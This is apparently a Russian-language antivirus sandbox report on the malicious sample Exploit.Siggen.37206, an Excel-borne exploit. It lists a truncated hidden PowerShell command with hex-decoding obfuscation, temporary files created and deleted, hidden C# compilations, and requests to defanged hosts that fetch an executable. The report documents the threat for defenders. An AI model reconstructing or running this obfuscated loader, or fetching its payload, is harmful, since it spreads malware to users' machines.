Exploit.Siggen.37206

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r9ee2 {param($u9478)$qc672b='n83738';$v217293='';for ($i=0; $i -lt $u9478.length;$i+=2){$o5bd5d=[convert]::ToByte($u9478.Substring($i,2),16);$v217293+=[char]($o5b...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\96qzc02a.0.cs
%TEMP%\res7bac.tmp
%TEMP%\csc7b9c.tmp
%TEMP%\.ds_store
%TEMP%\tf8qxyn3.out
%TEMP%\tf8qxyn3.cmdline
%TEMP%\tf8qxyn3.0.cs
%TEMP%\4ben6u6r.dll
%TEMP%\res66bd.tmp
%TEMP%\csc66ac.tmp
%TEMP%\4ben6u6r.out
%TEMP%\4ben6u6r.cmdline
%TEMP%\4ben6u6r.0.cs
%TEMP%\okuodiai.dll
%TEMP%\res49cf.tmp
%TEMP%\csc49be.tmp
%TEMP%\okuodiai.out
%TEMP%\okuodiai.cmdline
%TEMP%\okuodiai.0.cs
%TEMP%\i45fxrj6.dll
%TEMP%\res34df.tmp
%TEMP%\96qzc02a.dll
%TEMP%\res3482.tmp
%TEMP%\csc34bf.tmp
%TEMP%\csc3481.tmp
%TEMP%\i45fxrj6.out
%TEMP%\i45fxrj6.cmdline
%TEMP%\i45fxrj6.0.cs
%TEMP%\96qzc02a.out
%TEMP%\96qzc02a.cmdline
%TEMP%\tf8qxyn3.dll
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{0832d7cf-cf01-47f8-96e0-5ad6c3219a87}.tmp

Удаляет следующие файлы

%TEMP%\res3482.tmp
%TEMP%\res66bd.tmp
%TEMP%\csc66ac.tmp
%TEMP%\4ben6u6r.0.cs
%TEMP%\4ben6u6r.dll
%TEMP%\4ben6u6r.out
%TEMP%\okuodiai.0.cs
%TEMP%\okuodiai.pdb
%TEMP%\4ben6u6r.pdb
%TEMP%\csc7b9c.tmp
%TEMP%\tf8qxyn3.cmdline
%TEMP%\tf8qxyn3.0.cs
%TEMP%\tf8qxyn3.dll
%TEMP%\tf8qxyn3.pdb
%TEMP%\4ben6u6r.cmdline
%TEMP%\res7bac.tmp
%TEMP%\okuodiai.out
%TEMP%\okuodiai.dll
%TEMP%\okuodiai.cmdline
%TEMP%\96qzc02a.out
%TEMP%\96qzc02a.0.cs
%TEMP%\96qzc02a.dll
%TEMP%\96qzc02a.pdb
%TEMP%\96qzc02a.cmdline
%TEMP%\res34df.tmp
%TEMP%\csc3481.tmp
%TEMP%\csc34bf.tmp
%TEMP%\i45fxrj6.cmdline
%TEMP%\i45fxrj6.0.cs
%TEMP%\i45fxrj6.out
%TEMP%\i45fxrj6.pdb
%TEMP%\res49cf.tmp
%TEMP%\csc49be.tmp
%TEMP%\i45fxrj6.dll
%TEMP%\tf8qxyn3.out
%TEMP%\.ds_store

Сетевая активность

TCP

Запросы HTTP GET

http://da##o.pk/Cyph_test_app.exe

'cu#t.ly':443

UDP

DNS ASK cu#t.ly
DNS ASK da##o.pk

Другое

Создает и запускает на исполнение

'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\96qzc02a.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i45fxrj6.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3482.tmp" "%TEMP%\CSC3481.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34DF.tmp" "%TEMP%\CSC34BF.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\okuodiai.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES49CF.tmp" "%TEMP%\CSC49BE.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4ben6u6r.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES66BD.tmp" "%TEMP%\CSC66AC.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tf8qxyn3.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7BAC.tmp" "%TEMP%\CSC7B9C.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\96qzc02a.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i45fxrj6.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3482.tmp" "%TEMP%\CSC3481.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34DF.tmp" "%TEMP%\CSC34BF.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\okuodiai.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES49CF.tmp" "%TEMP%\CSC49BE.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4ben6u6r.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES66BD.tmp" "%TEMP%\CSC66AC.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tf8qxyn3.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7BAC.tmp" "%TEMP%\CSC7B9C.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding